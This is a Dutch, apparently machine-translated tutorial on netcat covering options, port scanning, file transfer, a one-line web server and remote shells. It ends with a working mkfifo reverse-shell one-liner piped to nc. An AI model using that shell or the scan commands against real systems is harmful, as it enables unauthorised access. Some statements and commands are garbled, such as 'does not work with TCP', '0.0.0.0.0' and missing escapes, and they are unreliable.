Betaalmethoden Abuse

Waar het NC commando voor is in Linux

29.08.2024, 02:19

Het commando netcat is nodig voor het verzenden en ontvangen van gegevens met de protocollen TCP en UDP. Het heeft geen grote verzameling functies, maar het is voldoende voor het controleren van verbindingen en eenvoudig debuggen. Hoe communiceer ik via het TCP protocol? Deze vraag wordt door veel gebruikers gesteld. In dit artikel zullen we deze vraag beantwoorden en ook voorbeelden laten zien van echte toepassingen van het commando.

Wat doet het commando?

Het commando netcat (of nc) is een krachtig hulpmiddel voor het werken met netwerkverbindingen. Het wordt vaak gebruikt door systeembeheerders en ontwikkelaars voor verschillende taken. Hier zijn de belangrijkste functies en mogelijkheden van netcat:

  1. TCP/UDP verbindingen opzetten: hiermee kun je verbindingen opzetten naar hosts op afstand met behulp van TCP en UDP protocollen.
  2. Luisteren naar poorten: kan worden gebruikt als server om te luisteren naar inkomende verbindingen op een specifieke poort.
  3. Gegevensoverdracht: gegevens overdragen tussen computers via een netwerk. Dit kan nuttig zijn voor bestandsoverdracht of berichtgeving.
  4. Netwerktoepassingen debuggen: gebruikt om netwerkdiensten te testen en te debuggen, zodat je willekeurige gegevens kunt verzenden en ontvangen.
  5. Eenvoudige chats maken: eenvoudige tekstcommunicatie tussen twee systemen kan worden opgezet
  6. Poorten scannen: kan gebruikt worden om te controleren op open poorten op hosts op afstand.
  7. Tunneling: kan gebruikt worden om tunnels te maken om verkeer om te leiden via andere poorten of hosts.
  8. Werken met proxies: kan gebruikt worden om met proxyservers te werken en verschillende netwerktaken uit te voeren.

netcat is een veelzijdig hulpprogramma dat in veel verschillende scenario's gebruikt kan worden, van eenvoudige berichtgeving tot complexe netwerkoperaties.

Opties

Laten we beginnen met het bekijken van de syntaxis en de meest populaire:

  • -6 - gebruik IPv6 protocol. De standaard is respectievelijk -4 en IPv4;
  • -h - help weergeven met de lijst van beschikbare parameters;
  • -i - delay - vertraging toevoegen tussen het verzenden van strings of het scannen van poorten. Het wordt ingesteld in seconden;
  • -l - luister modus. Gebruikt met poortspecificatie;
  • -N - sluit de verbinding wanneer het einde van het bestand is bereikt bij het verzenden;
  • -n - werk direct met IP-adressen zonder DNS, schakel ook het scannen van poorten uit;
  • -P - user_name - geef de gebruikersnaam op om verbinding te maken met de proxy;
  • -x - address:port - geef het adres en de poort op om verbinding te maken met de proxy;
  • -p - port - geef het poortnummer op. In de meeste gevallen wordt de poort gelezen zonder de parameter op te geven;
  • -U - gebruik UNIX domeinsocket (voor communicatie tussen processen);
  • -u - gebruik het UDP protocol, standaard wordt TCP gebruikt;
  • -v - gedetailleerde modus. Gebruikt tijdens het scannen;
  • -W number_packets - sluit de verbinding na ontvangst van een bepaald aantal pakketten;
  • -w timer - schakel timer in om de verbindingstijd te beperken. Het wordt ingesteld in seconden;
  • -z - gegevens verzenden uitschakelen. Dit wordt gebruikt tijdens het scannen.

Het commando heeft de volgende vorm (parameters poortadres):

$ nc

Vervolgens zullen we je vertellen hoe je het commando gebruikt.

De poort controleren

Controleren is het belangrijkste gebruik van netcat. Je moet twee parameters gebruiken -vz, adres en poort opgeven. Je kunt een reeks adressen opgeven, maar in dit geval is het beter om alleen open poorten te zoeken met het commandogrep. Laten we de poorten van het lokale netwerkadres scannen:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Laten we op dezelfde manier UDP-poorten scannen door de -u parameter toe te voegen:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Je zou het belangrijkste verschil tussen TCP en UDP moeten weten. Dus in UDP zijn poorten altijd beschikbaar.

Luisteren naar de poort

De -l parameter is bedoeld om naar de poort te luisteren. Het is vaak genoeg, maar je kunt de gedetailleerde modus inschakelen:

$ nc -nlv 8080

Onthoud dat bij gebruik van het TCP-protocol de poort vrij moet zijn, anders verschijnt de fout Al in gebruik. Niet alle poorten kunnen gebruikt worden door normale gebruikers, bijvoorbeeld poort 80 (HTTP), deze zal waarschijnlijk bezet worden door een ander proces en superuser rechten vereisen.

Bestandsuitwisseling

Een nuttige mogelijkheid van het commando is gegevensuitwisseling. Een eenvoudig voorbeeld is een tekstchatroom. Om een chat te starten op de ene computer, start je het hulpprogramma in de luistermodus voor de poort:

$ nc -lp 8080

Op de andere computer moet je het adres van de eerste computer en dezelfde poort opgeven. Vergeet ook niet te controleren of de poort open staat:

$ nc 0.0.0.0 8080

Op deze manier kun je berichten verzenden en ontvangen. Dat wil zeggen, het commando is bedoeld voor bestandsuitwisseling. Het principe is hetzelfde, behalve dat het nodig is om de uitvoer om te leiden naar een bestand, namelijk paste.txt:

$ nc -l 8080 > paste.txt

Op de andere pc dient het bestand copy.txt als invoer. Het is niet overbodig om de -N parameter te gebruiken om de verbinding te sluiten na de bestandsoverdracht:

$ nc -N 0.0.0.0 8080 < copy.txt

Voor bestandsoverdracht is het belangrijk om de volgorde te volgen, eerst openen luisteren en dan pas het bestand versturen. Het commando nc is een werkende, maar verre van de beste manier om bestanden over te zetten. Er zijn efficiëntere en nuttigere gereedschappen voor deze taak.

Een eenvoudige webserver

Aangezien het NC commando niet werkt met het TCP protocol, is het mogelijk om zowel HTTP verzoeken te verzenden als te ontvangen. Het hulpprogramma kan dus een eenvoudige webserver worden. Ja, je kunt op deze manier niets moeilijkers doen dan een lege pagina, maar de bewerking neemt bijna geen tijd in beslag en het voordeel is dat je niets extra's hoeft te installeren.

Op het voorbeeldformulier HTTP antwoord met het bestand index.html. Over np zelf gesproken, het is een goed idee om een timer in te stellen met de -w 1 parameter om de verbinding te verbreken als de browser dat niet doet:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Om gegevens van een website te krijgen, kun je een verzoek opstellen en dit naar het geadviseerde adres en poort sturen. Maar deze manier is vrij ingewikkeld, het is beter om het juiste CURL commando te gebruiken.

Shell op afstand

Op basis van de hierboven besproken voorbeelden zal het niet moeilijk zijn om te concluderen dat je met dit commando op afstand toegang kunt krijgen tot de shell van de computer. Voorheen had het NC-hulpprogramma verschillende parameters om toegang te krijgen tot de terminal. De -e parameter is al lang geleden uit het hulpprogramma verwijderd, dus er is geen eenvoudige toegang tot de terminal meer. De beveiliging van de applicatie zelf is hoger geworden, maar het kan nog steeds samenwerken met anderen.

Laten we de verbinding laten zien met het benoemde kanaal mkfifo. Laten we eerst luisteren naar de poort op de PC waar we toegang krijgen:

$ nc -lvnp 8080

Laten we direct naar het commando gaan om de terminal te openen. Verwijder eerst het oude kanaal met de naam(rm /tmp/f), maak er een nieuwe voor in de plaats(mkfifo /tmp/f), lees de inhoud(cat /tmp/f) en stuur een shell commando naar de uitvoer(sh -i 2>&1). Daarna blijft het over om nc te draaien met uitvoer naar ons genoemde kanaal(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Onthoud dat dit één manier van hacken is, maar het kan nuttig zijn als er problemen zijn met ssh. Om de aanval te voorkomen moet een beveiligingsbeleid en firewall geconfigureerd worden.